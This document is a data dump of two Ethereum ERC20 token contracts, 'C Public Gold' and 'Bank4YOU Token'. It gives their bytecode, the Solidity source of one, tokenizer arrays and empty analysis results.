0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461022257806323b872dd1461024d5780632ff2e9dc146102d2578063313ce567146102fd57806342966c681461032e5780634cd412d51461035b5780634d2c29a01461038a57806366188463146103e157806370a0823114610446578063726f63f61461049d57806381830593146104ea5780638da5cb5b1461054157806395d89b4114610598578063a9059cbb14610628578063d73dd6231461068d578063dd62ed3e146106f2578063f0d4753e14610769578063f1b50c1d14610794578063f2fde38b146107ab578063fc53f958146107ee575b600080fd5b34801561013957600080fd5b50610142610819565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610852565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610944565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061094e565b604051808215151515815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610bbf565b6040518082815260200191505060405180910390f35b34801561030957600080fd5b50610312610bd1565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033a57600080fd5b5061035960048036038101908080359060200190929190505050610bd6565b005b34801561036757600080fd5b50610370610c55565b604051808215151515815260200191505060405180910390f35b34801561039657600080fd5b5061039f610c68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8e565b604051808215151515815260200191505060405180910390f35b34801561045257600080fd5b50610487600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1f565b6040518082815260200191505060405180910390f35b3480156104a957600080fd5b506104e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f67565b005b3480156104f657600080fd5b506104ff6110cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054d57600080fd5b506105566110f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a457600080fd5b506105ad611118565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ed5780820151818401526020810190506105d2565b50505050905090810190601f16801561061a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063457600080fd5b50610673600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611151565b604051808215151515815260200191505060405180910390f35b34801561069957600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c0565b604051808215151515815260200191505060405180910390f35b3480156106fe57600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bc565b6040518082815260200191505060405180910390f35b34801561077557600080fd5b5061077e611643565b6040518082815260200191505060405180910390f35b3480156107a057600080fd5b506107a9611655565b005b3480156107b757600080fd5b506107ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fc565b005b3480156107fa57600080fd5b50610803611854565b6040518082815260200191505060405180910390f35b6040805190810160405280600d81526020017f43205075626c696320476f6c640000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600560149054906101000a900460ff16806109b85750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a105750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a1b57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a5857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a9357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610af057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b4d57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610baa57600080fd5b610bb5858585611876565b9150509392505050565b601260ff16600a0a6402cb4178000281565b601281565b600560149054906101000a900460ff1680610c3e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c4957600080fd5b610c5281611c30565b50565b600560149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d9f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e33565b610db28382611d8290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561102257600080fd5b600560149054906101000a900460ff1615151561103e57600080fd5b6000821461104c578161105c565b601260ff16600a0a64011e1a3000025b9050601260ff16600a0a64011e1a300002811115151561107b57600080fd5b6110858382610852565b5082600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f435047580000000000000000000000000000000000000000000000000000000081525081565b6000600560149054906101000a900460ff16806111bb5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806112135750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561121e57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561125b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112f357600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561135057600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113ad57600080fd5b6113b78484611d9b565b91505092915050565b600061145182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260ff16600a0a64011e1a30000281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b157600080fd5b6001600560146101000a81548160ff0219169083151502179055506116f9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000610852565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561179457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260ff16600a0a64011e1a300002601260ff16600a0a6402cb417800020381565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118b357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561190057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561198b57600080fd5b6119dc826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c7f57600080fd5b339050611cd3826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2a82600154611d8290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b6000828211151515611d9057fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611dd857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e2557600080fd5b611e76826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611fce57fe5b80915050929150505600a165627a7a723058200524316deed52357f9d9d879f703b52014979aa2948f28478ed67fcc492b640d0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2692, 6305, 2575, 2487, 29292, 2497, 3207, 2581, 22022, 2692, 10354, 10790, 2546, 21486, 2475, 19797, 2094, 2581, 2063, 24434, 2050, 2581, 2050, 28154, 2094, 22275, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1013, 5371, 1024, 22116, 1011, 5024, 3012, 1013, 8311, 1013, 6095, 1013, 2219, 3085, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,664
0x9581456c8e87a4f47cfdf91abff4116bd518f17d
pragma solidity ^0.4.15; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BFYToken is StandardToken { string public name = "Bank4YOU Token"; string public symbol = "BFY"; uint256 public constant decimals = 10; uint256 public constant INITIAL_SUPPLY = 300 * (10 ** 6) * (10 ** uint256(decimals)); function BFYToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d05780632ff2e9dc14610249578063313ce56714610272578063661884631461029b57806370a08231146102f557806395d89b4114610342578063a9059cbb146103d0578063d73dd6231461042a578063dd62ed3e14610484575b600080fd5b34156100ca57600080fd5b6100d26104f0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061058e565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba610680565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610686565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610972565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b61028561097f565b6040518082815260200191505060405180910390f35b34156102a657600080fd5b6102db600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610984565b604051808215151515815260200191505060405180910390f35b341561030057600080fd5b61032c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c15565b6040518082815260200191505060405180910390f35b341561034d57600080fd5b610355610c5e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039557808201518184015260208101905061037a565b50505050905090810190601f1680156103c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103db57600080fd5b610410600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cfc565b604051808215151515815260200191505060405180910390f35b341561043557600080fd5b61046a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed2565b604051808215151515815260200191505060405180910390f35b341561048f57600080fd5b6104da600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110ce565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105865780601f1061055b57610100808354040283529160200191610586565b820191906000526020600020905b81548152906001019060200180831161056957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156106c557600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061079683600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061082b83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610881838261115590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600a800a6311e1a3000281565b600a81565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a95576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b29565b610aa8838261115590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cf45780601f10610cc957610100808354040283529160200191610cf4565b820191906000526020600020905b815481529060010190602001808311610cd757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d3957600080fd5b610d8b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610f6382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561116357fe5b818303905092915050565b600080828401905083811015151561118257fe5b80915050929150505600a165627a7a72305820459035eed98a8b36fa10f405d435bedf1c0f654e83cfab9337bc66647d01def10029
{"success": true, "error": null, "results": {}}
true
null
{}
